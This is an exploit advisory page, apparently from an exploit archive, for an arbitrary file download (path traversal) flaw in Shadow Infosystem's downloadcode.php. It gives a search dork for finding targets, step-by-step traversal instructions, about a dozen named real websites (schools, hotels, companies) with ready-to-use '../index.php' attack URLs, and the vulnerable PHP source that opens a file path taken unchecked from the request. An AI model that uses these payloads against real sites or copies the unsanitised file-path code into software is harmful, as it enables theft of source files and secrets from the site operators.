what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Shadow Infosystem Arbitrary File Download

Shadow Infosystem Arbitrary File Download
Posted Sep 22, 2015
Authored by Cloner-47

downloadcode.php from Shadow Infosystem suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary, php, info disclosure
SHA-256 | b3864dd1aa64620ab5f39a5ee1e756dd75eb81aa18ae0b6acd9703a1adf347dc

Shadow Infosystem Arbitrary File Download

Change Mirror Download
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
|--------------------------------------------------------------|
|[+] Exploit Title: Shadow Infosystem Arbitrary File Download
|[+]
|[+] Exploit Author: Ashiyane Digital Security Team
|[+]
|[+] Vendor Homepage: http://shadowinfosystem.com
|[+]
|[+] Google Dork: inurl:/downloadcode.php
|[+]
|[+] Tested on: Windows, Linux
|[+]
|[+] Date: 2015.09.21
|[+]
|--------------------------------------------------------------|
|[+] Describe :
|[+]
|[+] At the first search dork and choose a target
|[+]
|[+] Like this : http://www.spacetechgroup.in
|[+]
|[+] Add this to the end of target URL: downloadcode.php?d=
|[+]
|[+] After [?d=] you should enter your file name that you want to download!
|[+]
|[+] Fore example download in that target index.php:
|[+]
|[+] http://www.spacetechgroup.in/downloadcode.php?d=../index.php
|[+]
|[+] In some targets you can only download files that they're in
[Current] directory!
|[+]
|[+] But I don't want to download from [file] directory!
|[+]
|[+] Then I put [../] after file name to upload from root directory!
|--------------------------------------------------------------|
|[+] Examples :
|[+]
|[+] http://stteresaschool.in/downloadcode.php?d=../index.php
|[+]
|[+] http://hotelsroyalpark.coM/downloadcode.php?d=../index.php
|[+]
|[+] http://jkgttAcademy.com/downloadcode.php?d=index.php
|[+]
|[+] http://raksHatowersgurgaon.com/downloadcode.php?d=../index.php
|[+]
|[+] http://shaDowInfosystem.com/downloadcode.php?d=../index.php
|[+]
|[+] http://keltecHgroup.com/downloadcode.php?download_file=index.php
|[+]
|[+] http://fnfhomez.com/downloadcode.php?df=../index.php
|[+]
|[+] http://renownedInfra.com/downloadcode.php?download_file=../index.php
|[+]
|[+] http://mmgroupinDia.com/downloadcode.php?df=../index.php
|[+]
|[+] http://sunflowerpublicschool.com/downloadcode.php?file=../index.php
|[+]
|[+] http://hitchintak.in/downloadcode.php?d=../index.php
|[+]
|[+] http://ballyhai.net/downloadcode.php?file=../index.php
|[+]
|[+] http://spacetechgroup.in/downloadcode.php?d=../index.php
|--------------------------------------------------------------|
|[+] Vulnerable Code:
|[+] File: downloadcode.php:
<?php
if(isset($_GET['d'])){
$path = "admin/"; // change the path to fit your websites document structure
$fullPath = $path.$_GET['d'];
}else if(isset($_REQUEST['pf'])){
$fullPath = "payment_pdf/".$_REQUEST['pf'];
}

if ($fd = fopen ($fullPath, "r")) {
$fsize = filesize($fullPath);
$path_parts = pathinfo($fullPath);
$ext = strtolower($path_parts["extension"]);
switch ($ext) {
case "jpg":
header("Content-type: application/jpg"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");

case "pdf":
header("Content-type: application/pdf"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");


case "swf":
header("Content-type: application/swf"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");

case "doc":
header("Content-type: application/doc"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");

case "xls":
header("Content-type: application/xls"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");

case "docx":
header("Content-type: application/docx"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");

case "txt":
header("Content-type: application/txt"); // add here more
headers for diff. extensions
header("Content-Disposition: attachment;
filename=\"".$path_parts["basename"]."\""); // use 'attachment' to
force a download
break;
default;
header("Content-type: application/octet-stream");
header("Content-Disposition:
filename=\"".$path_parts["basename"]."\"");


}
header("Content-length: $fsize");
header("Cache-control: private"); //use this to open files directly
while(!feof($fd)) {
$buffer = fread($fd, 22048);
echo $buffer;
}
}
fclose ($fd);
exit;
?>

|--------------------------------------------------------------|
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
|[+] Discovered By : Cloner-47
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close